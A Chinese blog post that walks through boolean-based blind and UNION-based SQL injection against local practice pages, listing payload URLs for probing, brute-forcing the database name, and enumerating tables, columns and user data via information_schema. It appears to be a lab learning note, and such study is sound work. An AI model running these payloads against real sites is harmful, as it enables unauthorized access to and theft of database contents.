返回顶部

布尔注入与联合注入

题记

        有时候我也很喜欢这种吊儿郎当的生活方式,它让我忘记了曾经捂着胸口说痛的我。

1.布尔注入 //返回 真 或假

1、检查是否存在漏洞

        访问 /boolean.php?id=1

        访问 /boolean.php?id=1'

        访问/boolean.php?id=1'and+1=1--+

        访问/boolean.php?id=1'and+1=2--+

        确认页面存在SQL注入漏洞,并且只能返回no或yes

2、判断数据库名称长度

        访问 /boolean.php?id=1'+and+length(database())>=4--+

        访问 /boolean.php?id=1'+and+length(database())>=5--+

        确定数据库长度为5个字符。

3、判断数据库名称

        第一个方法

        访问/boolean.php?id=1'+and+substr(database(),1,1)='a'--+

        依次修改 substr(database(),1,1)='b'  substr(database(),1,1)='c' substr(database(),1,1)='d'

        直到页面返回yes 确定数据库名称的第一个字符。

        依次修改 substr(database(),2,1)='b'  substr(database(),2,1)='c' substr(database(),2,1)='d'

        直到页面返回yes 确定数据库名称的第二个字符。以此类推确定数据库的名称。

        第二个方法

        /boolean.php?id=1' or ORD(mid(database(),1,1))>105 #

        判断数据库第一个字母acsii值为多少,然后再去查表,这样快点。

4、判断数据表名称

        判断表名长度

        /boolean.php?id=1'+and+length((select+table_name+from+information_schema.tables+where+table_schema='test'+limit+0,1))>=5--+

        判断表名称

        /boolean.php?id=1'+and+substr((select+table_name+from+information_schema.tables+where+table_schema='test'+limit+0,1),1,1)='t'--+

        查询出test和users 数据表

        concat是字符拼接函数。

2.联合注入//一起查询

1、在test数据库新建users表

        DROP TABLE IF EXISTS `test`;

        CREATE TABLE `test` (

          `id` int(11) NOT NULL,

          `name` varchar(20) COLLATE utf8_unicode_ci DEFAULT NULL,

          PRIMARY KEY (`id`)

        ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

2、访问union.php?id=1

3、访问union.php?id=1+and+1=1与union.php?id=1+and+1=2

        确定该页面存在SQL注入漏洞

4、查询字段数量

   /union.php?id=1+order+by+3

         /union.php?id=1+order+by+4

        确认表内有3个字段。

        使用union select 1,2,3确认显示字段

        访问  /union.php?id=1+union+select+1,2,3 或者

         /union.php?id=-1+union+select+1,2,3

5、获取数据库名称

        使用/union.php?id=-1+union+select+1,database(),3

        获取test数据库名称

        使用一下SQL获取第一个表名

        select table_name from information_schema.tables where table_schema='test' limit 0,1

        获取到test表名 ,修改limit0,1 limit1,1 limit2,1依次获取其他表名

6、获取字段名

        使用以下sql语句获取字段名

        select column_name from information_schema.columns where table_schema='test' and TABLE_NAME='test' limit 0,1

        获取到id 字段 ,修改limit0,1 limit1,1 limit2,1依次获取其他字段

7、获取字段对应的值

        select username from test.users limit 0,1

posted @ 2020-08-27 17:09  11阳光  阅读(436)  评论(0编辑  收藏  举报